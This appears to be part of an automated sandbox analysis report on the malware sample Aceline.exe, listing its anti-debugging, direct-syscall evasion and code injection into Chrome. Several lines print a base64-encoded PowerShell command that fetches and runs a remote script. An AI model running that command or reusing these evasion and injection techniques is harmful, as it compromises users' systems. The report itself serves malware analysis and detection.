Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 59876	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 35996	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 59751	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 59643	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 59506	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 59381	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 59279	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 59174	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 59035	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 58927	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 58817	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 37964	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 58711	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 32963	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 58604	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 58486	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 30846	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 58373	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 58256	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 58102	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 57988	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 34035	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 57879	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 33757	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 45625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 56244	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 54243	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 59713	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 32804	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 53815	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 35388	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 45857	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 49454	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 49641	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 31120	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 45546	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 47767	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 33799	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000009.00000002.1749078220.000000000541B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000009.00000002.1749078220.000000000541B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000009.00000002.1749078220.000000000541B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000009.00000002.1751939874.0000000007B1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Thread information set: HideFromDebugger	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: amsi32_7348.amsi.csv, type: OTHER

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread created: C:\Program Files\Google\Chrome\Application\chrome.exe EIP: 53DD0068	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread created: C:\Program Files\Google\Chrome\Application\chrome.exe EIP: AF450068	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread created: C:\Program Files\Google\Chrome\Application\chrome.exe EIP: E5420068	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread created: C:\Program Files\Google\Chrome\Application\chrome.exe EIP: 33DF0068	Jump to behavior

Encrypted powershell cmdline option found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1	Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF813904413	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF8149A395E
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x19A30FBF1C8
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF812877FEF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF8149B9F1C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF814A4DB20
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF8149B5F5A
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF7B567A2DC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtCreateFile: Direct from: 0x7FF81390517F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF8149BDAA0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF8100B6734	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF812875401	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x19A30F920D3
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtDeviceIoControlFile: Direct from: 0x7FF814A1D1DB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x19A30FBBF72
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtCreateFile: Direct from: 0x7FF814FAC113	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x19A30FDBC45
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtWriteFile: Direct from: 0x19A30F920CA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF814A6A2D8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF814E2CAC6	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryVolumeInformationFile: Direct from: 0x7FF81390734C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF80FD52E64	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtCreateFile: Direct from: 0x7FF8149BA418	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryVolumeInformationFile: Direct from: 0x7FF7B575E193	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtOpenFile: Direct from: 0x7FF814A95E86	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF80FD6895D	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF81499BC4A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtDeviceIoControlFile: Direct from: 0x7FF811BE2DED	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF814A41F72
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtCreateFile: Direct from: 0x7FF8149AD1F6	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF8149E097B
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtCreateFile: Direct from: 0x7FF8149E83DC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtDeviceIoControlFile: Direct from: 0x7FF812878415	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtDeviceIoControlFile: Direct from: 0x7FF8128785CF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtCreateFile: Direct from: 0x7FF8149E08F0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF812878E30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF814A40CCE
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x19A30F9191D
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF812879FBF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtSetInformationFile: Direct from: 0x7FF8149272C8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF438D177DD
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtOpenFile: Direct from: 0x7FF8149A32D3	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF813F90674	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF812879C4F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtReadFile: Direct from: 0x7FF8149E6FE3	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF814972EA4
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtDeviceIoControlFile: Direct from: 0x7FF8128711A5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF81491FF57
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtWriteFile: Direct from: 0x19A30F920A3	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtCreateFile: Direct from: 0x7FF8149DFCCE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF814A415D5
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtDeviceIoControlFile: Direct from: 0x7FF7B5765E6F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF812879120	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF814A07B34
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtDeviceIoControlFile: Direct from: 0x7FF814A1D166	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtDeviceIoControlFile: Direct from: 0x7FF81286F7B2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtOpenFile: Direct from: 0x7FF8138FE322	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtCreateFile: Direct from: 0x19A30F9207E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryVolumeInformationFile: Direct from: 0x7FF8149AD195	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtDeviceIoControlFile: Direct from: 0x7FF812871062	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF813903EA1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtDeviceIoControlFile: Direct from: 0x7FF812878A51	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x19A30F91944
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF814A336C2
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF814A45D4C
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtDeviceIoControlFile: Direct from: 0x7FF814A6F207	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF7B541AF63	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF81287A5CC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF814ED0730
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF814A0869F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF8149BDA3C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF813850CB8
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF8149D0EB4
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtDeviceIoControlFile: Direct from: 0x7FF812870F39	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF438D1779B
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtSetInformationFile: Direct from: 0x7FF8138FA731	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF7B541AE90	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF7B563E6AB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtCreateFile: Direct from: 0x7FF813900A4E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtCreateFile: Direct from: 0x7FF8149B5FD7	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF814A5936E
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF813903C7D	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF8149E6B30
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF814C885ED
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF438D19296
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtReadFile: Direct from: 0x7FF8149B5F36	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF814A4D20F
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF812875585	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF812875104	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF814A48BDC
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x19A30F91606
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF814A0797B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF7B5669F05	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtDeviceIoControlFile: Direct from: 0x7FF81286F658	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtDeviceIoControlFile: Direct from: 0x7FF81286F49B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF81390348F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF814A08DC6	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtReadFile: Direct from: 0x7FF8149DF056	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtClose: Direct from: 0x7FF438D1781B
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtReadFile: Direct from: 0x7FF8138FC9C8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	NtQueryAttributesFile: Direct from: 0x7FF814997037	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1F153DB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1E0AF330000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1F2E5400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 25133DD0000 value starts with: 4D5A	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1F153DB0000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1F153DD0000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1E0AF330000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1E0AF450000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1F2E5400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1F2E5420000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 25133DD0000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 25133DF0000	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Aceline.exe "C:\Users\user\AppData\Local\Temp\Aceline.exe"			Jump to behavior

